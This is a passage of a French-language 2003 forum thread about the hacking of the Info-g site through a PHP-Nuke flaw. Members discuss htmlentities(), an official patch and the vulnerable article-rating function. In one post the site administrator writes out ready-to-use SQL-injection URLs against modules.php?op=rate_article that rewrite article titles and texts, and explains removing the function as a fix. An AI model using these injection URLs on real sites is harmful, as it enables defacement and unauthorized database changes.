| QUOTE (Toine @ sam 17 mai 2003, 08:34) |
| ... alors qu'y a une fonction toute belle qui remplace toute entitée html par son code html ... |
j'ai oublie de dire le nom de la focntion ... lol : htmlentities() !
Info-g Hacké
Débuté par rider, 16 mai 2003 22:02
53 réponses à ce sujet
#16
yoda
-
- Membres
-
- 3 865 messages
ce n'est que moi ...
- Location:Waterloo
Posté 17 mai 2003 - 12:31
j'ai oublie de dire le nom de la focntion ... lol : htmlentities() !
quelle galere pour installer sa souris sous linux, alors que sous
windows, on double-clique sur un .exe et c'est fini ...
des howto's en tout genre, traduit et pas traduit : The Linux Documentation Project
windows, on double-clique sur un .exe et c'est fini ...
des howto's en tout genre, traduit et pas traduit : The Linux Documentation Project
#17
neo
-
- Administrateurs
-
- 6 136 messages
Rédacteur en chef
- Gender:Male
- Location:Bruxelles
Posté 17 mai 2003 - 12:32
c trouvé sur le site phpnuke.org, mais si tu veux je t'envoie mon mainfile.php, et tu corrige non ? Y'avait un truc qui mettait les caracrère en ses homologue html, mais si tu foutais une balise dans une news, bah ca merdait...
N'oublie jamais, la cuillère n'existe pas !!!
#18
Yoz
-
- Membres
-
- 4 780 messages
The_Shade_of_Darkness
- Location:Moustier s/S
- Interests:Etre avec celle que j'aime
- Nom de publication:Youri Lebrun
#19
yoda
-
- Membres
-
- 3 865 messages
ce n'est que moi ...
- Location:Waterloo
Posté 17 mai 2003 - 13:43
koi qu'est repartis ? faut pas pleurer mon ch'tit yoz ...
quelle galere pour installer sa souris sous linux, alors que sous
windows, on double-clique sur un .exe et c'est fini ...
des howto's en tout genre, traduit et pas traduit : The Linux Documentation Project
windows, on double-clique sur un .exe et c'est fini ...
des howto's en tout genre, traduit et pas traduit : The Linux Documentation Project
#20
skargo2000
-
- Groupe InfoMods
-
- 6 294 messages
THE SK ADMINISTRATOR !!
- Gender:Male
- Location:La rochelle (enfin ds le coin)
Posté 17 mai 2003 - 14:38
vi koi ?
#21
yoda
-
- Membres
-
- 3 865 messages
ce n'est que moi ...
- Location:Waterloo
Posté 17 mai 2003 - 14:42
moteuuuuuuuuuur, sa tourne, hackage, deuxième ... clack
quelle galere pour installer sa souris sous linux, alors que sous
windows, on double-clique sur un .exe et c'est fini ...
des howto's en tout genre, traduit et pas traduit : The Linux Documentation Project
windows, on double-clique sur un .exe et c'est fini ...
des howto's en tout genre, traduit et pas traduit : The Linux Documentation Project
#22
skargo2000
-
- Groupe InfoMods
-
- 6 294 messages
THE SK ADMINISTRATOR !!
- Gender:Male
- Location:La rochelle (enfin ds le coin)
Posté 17 mai 2003 - 15:12
en direct en pluche !! pdt que neo regardait les failles d'overmods ! lol
#23
Malouk
-
- Membres
-
- 525 messages
Maître Forumeur
- Gender:Male
- Location:Namur - Belgique
Posté 17 mai 2003 - 15:18
Il faut faire une modif dans le code du fichier index.php du module news, pas uniquement dans le mainfile.php.
Un patch correctif est sorti il y a quelques semaines pour la version 6.5 de Nuke.
Il est dispo ici.
Bon c'est pour la 6.5, mais en examinant le code, ça vous aidera peut-être a trouver la faille
Un patch correctif est sorti il y a quelques semaines pour la version 6.5 de Nuke.
Il est dispo ici.
Bon c'est pour la 6.5, mais en examinant le code, ça vous aidera peut-être a trouver la faille
#24
neo
-
- Administrateurs
-
- 6 136 messages
Rédacteur en chef
- Gender:Male
- Location:Bruxelles
Posté 17 mai 2003 - 15:43
En fait j'ai fait plus con, paske leur truc de secu fonctionnait pas sur tous les hébergements, alors comme la fonction incriminée était le truc pour voter pour les article, bah l'ai viré et voilà le résultat :
Pour changer l'intro :
http://[target]/modules.php?name=News&op=rate_article&score=2,%20hometext='New%20Home%20Text'&sid=1
Pour changer l'article :
http://[target]/modules.php?name=News&op=rate_article&score=2,%20bodytext='New%20Body%20Text'&sid=1
Pour changer les trois :
http://[target]/modules.php?name=News&op=rate_article&score=2,%20title='New%20Title',%20hometext='New%20Home%20Text',%20bodytext='New%20Body%20Text'&sid=1
Celle ci ne marchait pas alors il y en a une deuxième :
http://[target]/modules.php?name=News&op=rate_article&score=3,%20title=char(97,98,99,100)&sid=1
voilà ce que ça donne après utilisation de mon patch maison
http://www.info-g.co...8,99,100)&sid=3
Bon à quand la prochaine faille ?
Pour changer l'intro :
http://[target]/modules.php?name=News&op=rate_article&score=2,%20hometext='New%20Home%20Text'&sid=1
Pour changer l'article :
http://[target]/modules.php?name=News&op=rate_article&score=2,%20bodytext='New%20Body%20Text'&sid=1
Pour changer les trois :
http://[target]/modules.php?name=News&op=rate_article&score=2,%20title='New%20Title',%20hometext='New%20Home%20Text',%20bodytext='New%20Body%20Text'&sid=1
Celle ci ne marchait pas alors il y en a une deuxième :
http://[target]/modules.php?name=News&op=rate_article&score=3,%20title=char(97,98,99,100)&sid=1
voilà ce que ça donne après utilisation de mon patch maison
http://www.info-g.co...8,99,100)&sid=3
Bon à quand la prochaine faille ?
N'oublie jamais, la cuillère n'existe pas !!!
#25
skargo2000
-
- Groupe InfoMods
-
- 6 294 messages
THE SK ADMINISTRATOR !!
- Gender:Male
- Location:La rochelle (enfin ds le coin)
Posté 17 mai 2003 - 17:04
tu t'amuses comme un fou toi ! lol
#27
Yoz
-
- Membres
-
- 4 780 messages
The_Shade_of_Darkness
- Location:Moustier s/S
- Interests:Etre avec celle que j'aime
- Nom de publication:Youri Lebrun
Posté 20 mai 2003 - 10:38
oui c'est cor pire ca c'est kler, mais l'air de rien la réputation en prend un coup.... 
#29
quentin
-
- Membres
-
- 3 156 messages
Administrateur de tennistable.be
- Gender:Male
- Location:Belgique, Province de Namur, Tamines
- Interests:Net, mon site www.tennistable.be
- Nom de publication:Quentin Haustenne
Répondre à ce sujet
2 utilisateur(s) li(sen)t ce sujet
0 membre(s), 2 invité(s), 0 utilisateur(s) anonyme(s)
